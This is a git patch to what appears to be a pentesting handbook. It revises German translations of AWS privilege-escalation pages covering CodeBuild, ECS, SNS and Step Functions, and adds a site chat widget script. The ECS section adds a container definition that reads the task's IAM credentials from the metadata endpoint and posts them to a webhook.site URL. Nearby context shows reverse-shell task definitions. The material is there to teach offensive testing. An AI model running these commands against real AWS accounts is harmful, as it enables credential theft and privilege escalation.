From e1d4d113c68d3d9fbae40c333f049dc062e84a66 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Apr 2025 15:31:59 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- book.toml | 1 + .../aws-codebuild-privesc.md | 12 +- .../aws-ecs-privesc.md | 57 +- .../aws-sns-privesc.md | 4 +- .../aws-stepfunctions-privesc.md | 14 +- theme/ai.js | 332 ++++++ theme/ht_searcher.js | 1030 +++++++++-------- 7 files changed, 928 insertions(+), 522 deletions(-) create mode 100644 theme/ai.js diff --git a/book.toml b/book.toml index f20e2d2a2..a1b0f52ed 100644 --- a/book.toml +++ b/book.toml @@ -31,6 +31,7 @@ additional-js = [ "theme/tabs.js", "theme/ht_searcher.js", "theme/sponsor.js", + "theme/ai.js" ] no-section-label = true preferred-dark-theme = "hacktricks-dark" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index a120b2feb..eaa58a437 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ Weitere Informationen finden Sie in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen: +Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der IAM-Rolle zu stehlen, die dem Projekt zugewiesen ist: {{#tabs }} {{#tab name="StartBuild" }} @@ -61,7 +61,7 @@ aws codebuild start-build-batch --project --buildspec-override fi **Hinweis**: Der Unterschied zwischen diesen beiden Befehlen ist: - `StartBuild` löst einen einzelnen Build-Job mit einem bestimmten `buildspec.yml` aus. -- `StartBuildBatch` ermöglicht es Ihnen, eine Batch von Builds mit komplexeren Konfigurationen zu starten (wie das Ausführen mehrerer Builds parallel). +- `StartBuildBatch` ermöglicht es Ihnen, eine Batch von Builds mit komplexeren Konfigurationen zu starten (wie das gleichzeitige Ausführen mehrerer Builds). **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen. @@ -214,7 +214,7 @@ JSON="{ printf "$JSON" > $REV_PATH -aws codebuild update-project --cli-input-json file://$REV_PATH +aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` @@ -302,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Mit **ausreichenden Berechtigungen, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird. +Wenn man **genug Berechtigungen hat, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird. Das Codebuild-Projekt muss einen Haltepunkt haben: @@ -323,7 +323,7 @@ Für weitere Informationen [**siehe die Dokumentation**](https://docs.aws.amazon ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neu zu starten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen. +Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, dessen `buildspec.yml`-Datei in einem S3-Bucket gespeichert ist, auf den der Angreifer Schreibzugriff hat, kann eine Befehlsausführung im CodeBuild-Prozess erlangen. Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Arbeiter eine andere Rolle hat, hoffentlich mit mehr Berechtigungen, als die des Angreifers. ```bash @@ -356,7 +356,7 @@ commands: > [!WARNING] > Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer die `buildspec.yml` aus dem Stammverzeichnis herunterladen, entpacken, ändern, erneut zippen und hochladen müsste. -Weitere Details sind [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) zu finden. +Weitere Details finden Sie [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 3828ae103..c1431d07c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -13,6 +13,9 @@ Mehr **Info über ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -32,12 +35,52 @@ aws ecs run-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Erstellen Sie einen Webhook mit einer Seite wie webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen ECS-Rolle. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.\ -Allerdings muss in diesem Fall eine Containerinstanz vorhanden sein, um die bösartige Aufgabenbeschreibung auszuführen. +Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.\ +Allerdings muss in diesem Fall eine Container-Instanz vorhanden sein, um die bösartige Task-Definition auszuführen. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -57,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.** +Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -96,8 +139,8 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`** Berechtigung.\ -Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten ausgeführt werden.\ +Dieses Szenario ist wie die vorherigen, aber **ohne** die Berechtigung **`iam:PassRole`**.\ +Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen**, die im Knoten ausgeführt werden, zu **stehlen**.\ Sie könnten sogar **andere Aufgaben zwingen, innerhalb der EC2-Instanz** zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc zu Knoten Abschnitt**](aws-ecs-privesc.md#privesc-to-node) besprochen). > [!WARNING] @@ -145,7 +188,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle ausführen** innerhalb eines laufenden Containers und die angehängte IAM-Rolle exfiltrieren (man benötigt die Beschreibungsberechtigungen, da es notwendig ist, `aws ecs execute-command` auszuführen).\ -Um dies zu tun, muss die Container-Instanz jedoch den **ExecuteCommand-Agent** ausführen (was standardmäßig nicht der Fall ist). +Um dies zu tun, muss die Container-Instanz jedoch den **ExecuteCommand-Agenten** ausführen (was standardmäßig nicht der Fall ist). Daher könnte der Angreifer versuchen: @@ -227,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Potenzielle Auswirkungen**: Ausführen von beliebigem Code im betroffenen Dienst, was möglicherweise dessen Funktionalität beeinträchtigt oder sensible Daten exfiltriert. +**Potenzielle Auswirkungen**: Ausführen beliebigen Codes im betroffenen Dienst, was möglicherweise dessen Funktionalität beeinträchtigt oder sensible Daten exfiltriert. ## Referenzen diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index a25ae3669..9396fdc5a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -20,7 +20,7 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -Ein Angreifer könnte sich für ein SNS-Thema anmelden und dadurch möglicherweise unbefugten Zugriff auf Nachrichten erhalten oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stören. +Ein Angreifer könnte sich für ein SNS-Thema anmelden und dadurch möglicherweise unbefugten Zugriff auf Nachrichten erlangen oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stören. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -32,6 +32,6 @@ Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-The ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung des normalen Betriebs für Anwendungen, die auf das Thema angewiesen sind. +**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität von Anwendungen, die auf das Thema angewiesen sind. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 1b71559a4..738b28df6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -12,24 +12,24 @@ Für weitere Informationen zu diesem AWS-Dienst, siehe: ### Task-Ressourcen -Diese Privilegieneskalationstechniken erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Privilegieneskalationsaktionen durchzuführen. +Diese Techniken zur Eskalation von Berechtigungen erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Aktionen zur Eskalation von Berechtigungen durchzuführen. Um alle möglichen Aktionen zu überprüfen, könntest du zu deinem eigenen AWS-Konto gehen, die Aktion auswählen, die du verwenden möchtest, und die verwendeten Parameter einsehen, wie in:
-Oder du könntest auch zur API-AWS-Dokumentation gehen und die Dokumentation zu jeder Aktion überprüfen: +Oder du könntest auch zur API-Dokumentation von AWS gehen und die Dokumentation zu jeder Aktion überprüfen: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -Ein Angreifer mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglichen kann. Diese Berechtigungen können in Kombination zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenlecks, Ressourcenmanipulation und Privilegieneskalation. +Ein Angreifer mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was potenziell unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglicht. In Kombination können diese Berechtigungen zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenverletzungen, Ressourcenmanipulation und Eskalation von Berechtigungen. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den **`admin`**-Benutzer erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es dem Zustand erlaubt, die Aktion **`iam:CreateAccessKey`** auszuführen: +Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den **`admin`** Benutzer erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es dem Zustand erlaubt, die Aktion **`iam:CreateAccessKey`** auszuführen: - **stateDefinition.json**: ```json @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Ein Angreifer mit **`states:CreateStateMachine`** & **`iam:PassRole`** wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (**`states:TestState`** & **`iam:PassRole`**) wird diese nicht von selbst ausgeführt; Sie benötigen auch die Berechtigungen **`states:StartExecution`** oder **`states:StartSyncExecution`** (**`states:StartSyncExecution`** ist **nicht für Standard-Workflows verfügbar**, **nur für Ausdruckszustandsmaschinen**) um eine Ausführung über die Zustandsmaschine zu starten. +Ein Angreifer mit **`states:CreateStateMachine`** & **`iam:PassRole`** wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (**`states:TestState`** & **`iam:PassRole`**) wird diese nicht von selbst ausgeführt; Sie benötigen auch die Berechtigungen **`states:StartExecution`** oder **`states:StartSyncExecution`** (**`states:StartSyncExecution`** ist **nicht verfügbar für Standard-Workflows**, **nur für Ausdruckszustandsmaschinen**) um eine Ausführung über die Zustandsmaschine zu starten. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -138,7 +138,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 ### `states:UpdateStateMachine` & (nicht immer erforderlich) `iam:PassRole` -Ein Angreifer mit der Berechtigung **`states:UpdateStateMachine`** könnte die Definition einer Zustandsmaschine ändern und zusätzliche stealthy Zustände hinzufügen, die zu einer Privilegieneskalation führen könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige stealth Zustand ausgeführt und die Privilegieneskalation erfolgreich sein. +Ein Angreifer mit der Berechtigung **`states:UpdateStateMachine`** wäre in der Lage, die Definition einer Zustandsmaschine zu ändern und zusätzliche stealthy Zustände hinzuzufügen, die zu einer Privilegieneskalation führen könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige stealth Zustand ausgeführt und die Privilegieneskalation erfolgreich sein. Je nachdem, wie permissiv die mit der Zustandsmaschine verbundene IAM-Rolle ist, würde ein Angreifer mit 2 Situationen konfrontiert werden: @@ -151,7 +151,7 @@ aws states update-state-machine --state-machine-arn [--definition [!WARNING] -> Wenn die Zustandsmaschine keine permissive IAM-Rolle zugeordnet hat, wäre auch die Berechtigung **`iam:PassRole`** erforderlich, um die IAM-Rolle zu aktualisieren, um eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine mit der **`arn:aws:iam::aws:policy/AdministratorAccess`**-Richtlinie angehängt). +> Wenn die Zustandsmaschine keine permissive IAM-Rolle zugeordnet hat, wäre auch die Berechtigung **`iam:PassRole`** erforderlich, um die IAM-Rolle zu aktualisieren, um eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine mit der **`arn:aws:iam::aws:policy/AdministratorAccess`** Richtlinie angehängt). {{#tabs }} {{#tab name="Legit State Machine" }} diff --git a/theme/ai.js b/theme/ai.js new file mode 100644 index 000000000..bb8af53b7 --- /dev/null +++ b/theme/ai.js @@ -0,0 +1,332 @@ +/** + * HackTricks AI Chat Widget v1.15 – Markdown rendering + sanitised + * ------------------------------------------------------------------------ + * • Replaces the static “…” placeholder with a three-dot **bouncing** loader + * • Renders assistant replies as Markdown while purging any unsafe HTML + * (XSS-safe via DOMPurify) + * ------------------------------------------------------------------------ + */ +(function () { + const LOG = "[HackTricks-AI]"; + + /* ---------------- User-tunable constants ---------------- */ + const MAX_CONTEXT = 3000; // highlighted-text char limit + const MAX_QUESTION = 500; // question char limit + const TOOLTIP_TEXT = + "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; + + const API_BASE = "https://www.hacktricks.ai/api/assistants/threads"; + const BRAND_RED = "#b31328"; // HackTricks brand + + /* ------------------------------ State ------------------------------ */ + let threadId = null; + let isRunning = false; + + const $ = (sel, ctx = document) => ctx.querySelector(sel); + if (document.getElementById("ht-ai-btn")) { + console.warn(`${LOG} Widget already injected.`); + return; + } + (document.readyState === "loading" + ? document.addEventListener("DOMContentLoaded", init) + : init()); + + /* ==================================================================== */ + /* 🔗 1. 3rd-party libs → Markdown & sanitiser */ + /* ==================================================================== */ + function loadScript(src) { + return new Promise((resolve, reject) => { + const s = document.createElement("script"); + s.src = src; + s.onload = resolve; + s.onerror = () => reject(new Error(`Failed to load ${src}`)); + document.head.appendChild(s); + }); + } + + async function ensureDeps() { + const deps = []; + if (typeof marked === "undefined") { + deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js")); + } + if (typeof DOMPurify === "undefined") { + deps.push( + loadScript( + "https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js" + ) + ); + } + if (deps.length) await Promise.all(deps); + } + + function mdToSafeHTML(md) { + // 1️⃣ Markdown → raw HTML + const raw = marked.parse(md, { mangle: false, headerIds: false }); + // 2️⃣ Purify + return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } }); + } + + /* ==================================================================== */ + async function init() { + /* ----- make sure marked & DOMPurify are ready before anything else */ + try { + await ensureDeps(); + } catch (e) { + console.error(`${LOG} Could not load dependencies`, e); + return; + } + + console.log(`${LOG} Injecting widget… v1.15`); + + await ensureThreadId(); + injectStyles(); + + const btn = createFloatingButton(); + createTooltip(btn); + const panel = createSidebar(); + const chatLog = $("#ht-ai-chat"); + const sendBtn = $("#ht-ai-send"); + const inputBox = $("#ht-ai-question"); + const resetBtn = $("#ht-ai-reset"); + const closeBtn = $("#ht-ai-close"); + + /* ------------------- Selection snapshot ------------------- */ + let savedSelection = ""; + btn.addEventListener("pointerdown", () => { + savedSelection = window.getSelection().toString().trim(); + }); + + /* ------------------- Helpers ------------------------------ */ + function addMsg(text, cls) { + const b = document.createElement("div"); + b.className = `ht-msg ${cls}`; + + // ✨ assistant replies rendered as Markdown + sanitised + if (cls === "ht-ai") { + b.innerHTML = mdToSafeHTML(text); + } else { + // user / context bubbles stay plain-text + b.textContent = text; + } + + chatLog.appendChild(b); + chatLog.scrollTop = chatLog.scrollHeight; + return b; + } + const LOADER_HTML = + ''; + + function setInputDisabled(d) { + inputBox.disabled = d; + sendBtn.disabled = d; + } + function clearThreadCookie() { + document.cookie = "threadId=; Path=/; Max-Age=0"; + threadId = null; + } + function resetConversation() { + chatLog.innerHTML = ""; + clearThreadCookie(); + panel.classList.remove("open"); + } + + /* ------------------- Panel open / close ------------------- */ + btn.addEventListener("click", () => { + if (!savedSelection) { + alert("Please highlight some text first to then ask HackTricks AI about it."); + return; + } + if (savedSelection.length > MAX_CONTEXT) { + alert( + `Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.` + ); + return; + } + chatLog.innerHTML = ""; + addMsg(savedSelection, "ht-context"); + panel.classList.add("open"); + inputBox.focus(); + }); + closeBtn.addEventListener("click", resetConversation); + resetBtn.addEventListener("click", resetConversation); + + /* --------------------------- Messaging --------------------------- */ + async function sendMessage(question, context = null) { + if (!threadId) await ensureThreadId(); + if (isRunning) { + addMsg("Please wait until the current operation completes.", "ht-ai"); + return; + } + + isRunning = true; + setInputDisabled(true); + const loadingBubble = addMsg("", "ht-ai"); + loadingBubble.innerHTML = LOADER_HTML; + + const content = context + ? `### Context:\n${context}\n\n### Question to answer:\n${question}` + : question; + try { + const res = await fetch(`${API_BASE}/${threadId}/messages`, { + method: "POST", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ content }) + }); + if (!res.ok) { + let err = `Unknown error: ${res.status}`; + try { + const e = await res.json(); + if (e.error) err = `Error: ${e.error}`; + else if (res.status === 429) + err = "Rate limit exceeded. Please try again later."; + } catch (_) {} + loadingBubble.textContent = err; + return; + } + const data = await res.json(); + loadingBubble.remove(); + if (Array.isArray(data.response)) + data.response.forEach((p) => { + addMsg( + p.type === "text" && p.text && p.text.value + ? p.text.value + : JSON.stringify(p), + "ht-ai" + ); + }); + else if (typeof data.response === "string") + addMsg(data.response, "ht-ai"); + else addMsg(JSON.stringify(data, null, 2), "ht-ai"); + } catch (e) { + console.error("Error sending message:", e); + loadingBubble.textContent = "An unexpected error occurred."; + } finally { + isRunning = false; + setInputDisabled(false); + chatLog.scrollTop = chatLog.scrollHeight; + } + } + + async function handleSend() { + const q = inputBox.value.trim(); + if (!q) return; + if (q.length > MAX_QUESTION) { + alert( + `Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.` + ); + return; + } + inputBox.value = ""; + addMsg(q, "ht-user"); + await sendMessage(q, savedSelection || null); + } + sendBtn.addEventListener("click", handleSend); + inputBox.addEventListener("keydown", (e) => { + if (e.key === "Enter" && !e.shiftKey) { + e.preventDefault(); + handleSend(); + } + }); + } + + /* ==================================================================== */ + async function ensureThreadId() { + const m = document.cookie.match(/threadId=([^;]+)/); + if (m && m[1]) { + threadId = m[1]; + return; + } + try { + const r = await fetch(API_BASE, { method: "POST", credentials: "include" }); + const d = await r.json(); + if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`); + threadId = d.threadId; + document.cookie = + `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; + } catch (e) { + console.error("Error creating threadId:", e); + alert("Failed to initialise the conversation. Please refresh and try again."); + throw e; + } + } + + /* ==================================================================== */ + function injectStyles() { + const css = ` + #ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s} + #ht-ai-btn:hover{opacity:.85} + @media(max-width:768px){#ht-ai-btn{display:none}} + #ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000} + #ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)} + #ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} + #ht-ai-panel.open{transform:translateX(0)} + @media(max-width:768px){#ht-ai-panel{display:none}} + #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} + #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} + #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} + #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} + #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} + .ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word} + .ht-user{align-self:flex-end;background:${BRAND_RED}} + .ht-ai{align-self:flex-start;background:#222} + .ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px} + #ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333} + #ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px} + #ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer} + #ht-ai-send:disabled{opacity:.5;cursor:not-allowed} + /* Loader animation */ + .ht-loading{display:inline-flex;align-items:center;gap:4px} + .ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out} + .ht-loading span:nth-child(2){animation-delay:0.2s} + .ht-loading span:nth-child(3){animation-delay:0.4s} + @keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} } + ::selection{background:#ffeb3b;color:#000} + ::-moz-selection{background:#ffeb3b;color:#000}`; + const s = document.createElement("style"); + s.id = "ht-ai-style"; + s.textContent = css; + document.head.appendChild(s); + } + + function createFloatingButton() { + const d = document.createElement("div"); + d.id = "ht-ai-btn"; + d.textContent = "🤖"; + document.body.appendChild(d); + return d; + } + + function createTooltip(btn) { + const t = document.createElement("div"); + t.id = "ht-ai-tooltip"; + t.textContent = TOOLTIP_TEXT; + document.body.appendChild(t); + btn.addEventListener("mouseenter", () => { + const r = btn.getBoundingClientRect(); + t.style.left = `${r.left + r.width / 2}px`; + t.style.top = `${r.top}px`; + t.classList.add("show"); + }); + btn.addEventListener("mouseleave", () => t.classList.remove("show")); + } + + function createSidebar() { + const p = document.createElement("div"); + p.id = "ht-ai-panel"; + p.innerHTML = ` +
HackTricks AI Chat +
+ + +
+
+
+
+ + +
